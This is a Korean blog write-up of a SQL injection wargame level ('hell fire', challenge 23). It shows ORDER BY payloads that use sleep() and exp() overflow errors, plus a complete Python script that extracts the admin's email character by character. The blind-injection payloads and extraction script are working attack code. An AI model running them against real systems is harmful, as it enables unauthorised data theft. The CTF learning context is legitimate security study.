LJ

Lord of SQLinjection ( 23번 ) hell fire 본문

IT 보안/보안첼린지

Lord of SQLinjection ( 23번 ) hell fire

짱준재 2024. 7. 7. 22:04

 

 

 

23번 hell fire다 .

 

 

 

 

 

 

 

 

이번에 코드를 보면 sleep 함수를 안막은게 보여 바로 

 

sleep함수를 사용해 반응을 보았다.

 

 

query : ?order=if(id='admin'and(length(email)=28),sleep(10),1)%23

 

 

 

 

sleep 함수를 통한 인젝션이 가능한 것을 확인했는데

 

코드를 보면서 수정하고 

 

확인하고 하는 것이 시간이 너무 많이 걸려

 

다른 방법을 찾아 보기로 했다.

 

 

찾아보니 MySQL의 EXP 함수라고

 

 

주어진 숫자에 대해 자연 로그의 밑인 e의 거듭제곱 값을 반환하는 수학 함수이다.

 

 

* exp(parameter)는 자연로그의 및 e의 parameter제곱값을 반환하는데 보통 709를 넘어가면 표현이 오버플로우되어 에러가 발생한다.

 

 

order=(select exp(750) where '"+str(ord(a))+"'=ASCII((select substr(email,"+str(i)+",1) where id='admin'

 

 

이것을 이용하여 에러를 발생시킨다.

 

 

  • ord(a)의 ASCII 값을 구하여 이를 문자열로 변환한 값과 비교한다.
  • id가 'admin'인 사용자의 email의 i번째 문자의 ASCII 값을 구한다.
  • 위 두 값을 비교하여 조건이 참이면 EXP(750) 값을 반환한다.

그래서 참이면 에러를 발생시키기 때문에 이메일값을 확인 가능하다.

조건이 거짓인 경우 아무 행도 반환되지 않는다. 쿼리 결과는 빈 집합이 된다.

 

 

 

 

 

 

 

 

import requests

url = "https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookie = dict(PHPSESSID="80le24d6u73n1o79oed8es21d5")

def pw_length():
    print("**** find for pw length ****")
    for i in range(0,30):
        param = f"?order=(select exp(710) where "+str(i)+"=(select length(email) where id='admin'))%23"
        new_url = url + param
        res = requests.get(new_url, cookies=cookie)
        if "rubiya805" not in res.text and res.text != "":
            print("find pw length : " + str(i))
            return i
        else:
            print("Please... : " + str(i))

def pw_get(length):
    print("**** find for pw ****")
    jjang = ""
    for i in range(1, length + 1):
        print(f"{i}번째 비밀번호 확인중")
        for j in range(0, 128):
            param = f"?order=(select exp(710) where {j}=(select ascii(substr(email,{i},1)) where id='admin'))%23"
            new_url = url + param
            res = requests.get(new_url, cookies=cookie)
            if "rubiya805" not in res.text and res.text != "":
                print(f"{i}번째 문자 -> {chr(j)}")
                jjang += chr(j)
                break
    return jjang

length = pw_length()
password = pw_get(length)
print("here's your password : " + password)

 

 

 

 

 

 

결과를 반환된 이메일을 입력하면 문제가 해결된다.

 

※key point

- exp(parameter)는 자연로그의 및 e의 parameter제곱값을 반환하는데 보통 709를 넘어가면 표현이 오버플로우되어 에러가 발생한다.

-

 

- 헤비쿼리도 있지만 잘 사용하지 않는다. ( 서버부하 때문에 )

Comments